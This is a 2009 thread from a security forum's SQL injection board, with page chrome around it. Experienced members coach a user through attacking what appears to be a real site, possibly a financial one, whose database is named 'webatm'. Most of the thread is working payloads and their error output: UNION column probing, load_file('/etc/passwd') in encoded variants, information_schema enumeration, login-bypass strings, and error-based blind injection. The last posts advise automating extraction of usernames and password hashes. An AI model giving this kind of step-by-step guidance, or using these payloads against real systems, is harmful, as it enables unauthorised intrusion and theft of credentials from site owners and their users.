Waraxe IT Security Portal
Login or Register
November 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 67
Members: 0
Total: 67
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Error SQL BY pass WARAXE plz I need your answer Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Error SQL BY pass WARAXE plz I need your answer
PostPosted: Fri May 08, 2009 4:46 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




What can I do with this error


Code:
MySQL Error : 1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''''''' at line 1


Last edited by cr4ps on Mon May 25, 2009 12:01 pm; edited 3 times in total
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Fri May 08, 2009 9:05 pm Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Try appending some of these to the end of the string (to the parameter that you are messing with):
Code:
-1' (if this returns an error remove the ' for the rest of this)
-1 UNION SELECT 1--
-1 UNION SELECT 1,2--
-1 UNION SELECT 1,2,3--
...
-1 UNION SELECT 1,2,3,4,5,6,7,8,9

Follow the sequence above until no errors appear and the screen loads normally, and then look for the numbers on the page. Some of them should be visible. Lets say that 4 was visible on our page. Now try

-1 UNION SELECT 1,2,3,load_file('/etc/passwd/'),5,6,7,8,9--
-1 UNION SELECT 1,2,3,load_file(0x272f6574632f70617373776427),5,6,7,8,9--
-1 UNION SELECT 1,2,3,load_file(CONCAT(CHAR(39),CHAR(47),CHAR(101),CHAR(116),CHAR(99),CHAR(47),CHAR(112),CHAR(97),CHAR(115),CHAR(115),CHAR(119),CHAR(100),CHAR(39))),5,6,7,8,9--

If either of these two return something, you could be in luck (and post back here), otherwise, try these:

-1 UNION SELECT 1,2,3,@@version,5,6,7,8,9--
-1 UNION SELECT 1,2,3,database(),5,6,7,8,9--

If @@version return something >= 5.0.0, you can use MySQL's information_schema.tables table. So try this:

-1 UNION SELECT 1,2,3,concat(table_schema,char(58),table_name),4,5,6,7,8,9 FROM INFORMATION_SCHEMA.TABLES--

View user's profile Send private message
PostPosted: Fri May 08, 2009 10:09 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Thanks for you reply tehhunter ( PRO ) Cool

Code:
-1' UNION SELECT 1--
MySQL Error : 1222:The used SELECT statements have a different number of columns


Code:
-1' UNION SELECT 1,2,3,@@version,5,6,7,8,9--
MySQL Error : 1193:Unknown system variable ''

Arrow


Last edited by cr4ps on Mon May 11, 2009 11:40 am; edited 1 time in total
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat May 09, 2009 9:09 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




If I type Arrow

Code:
-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs/*

MySQL Error : 1146:Table 'webatm.user' doesn't exist
Confused

If I type Arrow

Code:
-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs --



You specified an incorrect username or password invalid. Confused

If I type Arrow


Code:
-1' UNION SELECT '1


MySQL Error : 1222:The used SELECT statements have a different number of columns Confused

What I should do Question


Last edited by cr4ps on Sun May 10, 2009 12:34 am; edited 2 times in total
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat May 09, 2009 9:45 pm Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




cr4ps wrote:
If I type Arrow

Code:
-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs --

MySQL Error : 1146:Table 'webatm.user' doesn't exist
Confused

If I type Arrow

Code:
-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs --



You specified an incorrect username or password invalid. Confused

If I type Arrow


Code:
-1' UNION SELECT '1


MySQL Error : 1222:The used SELECT statements have a different number of columns Confused

What I should do Question
Both the first and second query are the exact same, no? So how can they have different errors?

As for the 'different number of columns' error, try this:
Code:
Continue adding numbers to the end of this until it gives you a different error than 'different number of columns' or the page loads normally:

-1' UNION SELECT 1--
-1' UNION SELECT 1,2--
-1' UNION SELECT 1,2,3--
...
and this can sometimes get up to big numbers like 20, sometimes even 50 (in rare cases).


Post back here with the page that works as described at the top of this code segment.

Also, one last thing, I noticed this table is called 'webatm'. If you are trying to hack something financial, I'd really recommend you don't. You don't have enough experience to deal with all the complications and ramifications of hacking something like that. Most law enforcement agencies don't care about petty hacking, but information or financial hacking they notice, and they take action on.
View user's profile Send private message
PostPosted: Sat May 09, 2009 10:47 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




thank you once again for your reply Cool

Code:
--


Code:
/*


bro I just want to learn nothing more


I am in algeria

There are no laws against hacking Wink
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat May 09, 2009 11:14 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




and whene i try this ,


Code:
username: 'or user_id=2/*
password: [nothing]



MySQL Error : 1054:Unknown column 'user_id' in 'where clause'


Code:
9'/**/union/**/select/**/1,2,3,4,5,999999/**/from/**/admin/*


MySQL Error : 1146:Table 'webatm.admin' doesn't exist




Code:
9'/**/union/**/select/**/1,2,3,4,5,999999/**/from/**/utilisateurs/*


MySQL Error : 1222:The used SELECT statements have a different number of columns
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 11, 2009 10:14 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Its a blind , I have try to use the attack injection , But it doesn't realy working for me , I need you waraxe or someone other can help me about this , It make me crazy . . .

Its right , But I have a problem . . .

Code:
USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(@@version)/**/limit/**/0,1),1,1))>53/*
PASS : n/a


incorrect username or password invalid.

And also if I change the number "53" > 1,2,3 . . . .

If i change the column like that , I got an error . . .


Code:
USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(xxxxxxxx)/**/limit/**/0,1),1,1))>53/*
PASS : n/a



MySQL Error : 1054:Unknown column 'xxxxxxxx' in 'field list'

so? plz . . . Crying or Very sad
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 11, 2009 10:46 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try some tests:

Code:

z' OR '1'='1


Code:

z' AND '1'='2


Code:

z' AND IF(1,'1','2')='1


Code:

z' AND IF(1,(SELECT 1),'2')='1


Code:

z' AND IF(1,(SELECT 1 UNION ALL SELECT 1),'2')='1


Code:

z' AND IF(1=1,(SELECT 1 UNION ALL SELECT 1),'2')='1


Code:

z' AND IF(1=2,(SELECT 1 UNION ALL SELECT 1),'2')='1
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 11, 2009 11:26 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




thank you WARAXE for your reply


Code:
z' AND '1'='2


incorrect username or password invalid.


Code:
z' AND IF(1,'1','2')='1


incorrect username or password invalid.


Code:
z' AND IF(1,(SELECT 1),'2')='1



incorrect username or password invalid.


Code:
z' AND IF(1,(SELECT 1 UNION ALL SELECT 1),'2')='1



MySQL Error : 1242:Subquery returns more than 1 row



Code:
z' AND IF(1=1,(SELECT 1 UNION ALL SELECT 1),'2')='1




MySQL Error : 1242:Subquery returns more than 1 row



Code:
z' AND IF(1=2,(SELECT 1 UNION ALL SELECT 1),'2')='1



incorrect username or password invalid.


Rolling Eyes
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 11, 2009 11:45 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Ok, seems that you can use error-based feedback.

Some more tests:

Code:

z' AND (SELECT COUNT(*) FROM mysql.user)>1 AND '1'='1


Code:

z' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES)>1 AND '1'='1


Code:

z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 11, 2009 11:57 am Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




Code:
z' AND (SELECT COUNT(*) FROM mysql.user)>1 AND '1'='1



MySQL Error : 1142:SELECT command denied to user 'Admin_Web'@'localhost' for table 'user'


Code:
z' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES)>1 AND '1'='1


incorrect username or password invalid.



Code:
z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1



MySQL Error : 1242:Subquery returns more than 1 row
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 11, 2009 12:41 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It seems, that you have mysql version 5.x with information_schema. And you can exploit this via error-based feedback.
But you can fetch data only bit-by-bit, asking boolean questions. So you definitely need some sort of script or program, which can automate the process.
Doing this manually is too time consuming and error prone.
First you can use information_schema.tables for finding out interesting tables and then information_schema.columns can get you column names.
Then look for credentials table and try to fetch usernames and password hashes (or plaintext passwords).
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon May 11, 2009 2:25 pm Reply with quote
cr4ps
Advanced user
Advanced user
Joined: May 06, 2009
Posts: 91




what's error-based feedback Question
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 12, 2009 8:33 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cr4ps wrote:
what's error-based feedback Question


If you try this two tests:

Code:

z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1


Code:

z' AND IF(LENGTH(@@version)>100,(SELECT 1 UNION ALL SELECT 1),'2')='1



... then you should see different error messages. It means, that you can distinct between "true" and "false".
In this way you are able to ask questions and get answers, bit-by-bit.

http://www.owasp.org/index.php/Blind_SQL_Injection
View user's profile Send private message Send e-mail Visit poster's website
Error SQL BY pass WARAXE plz I need your answer
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds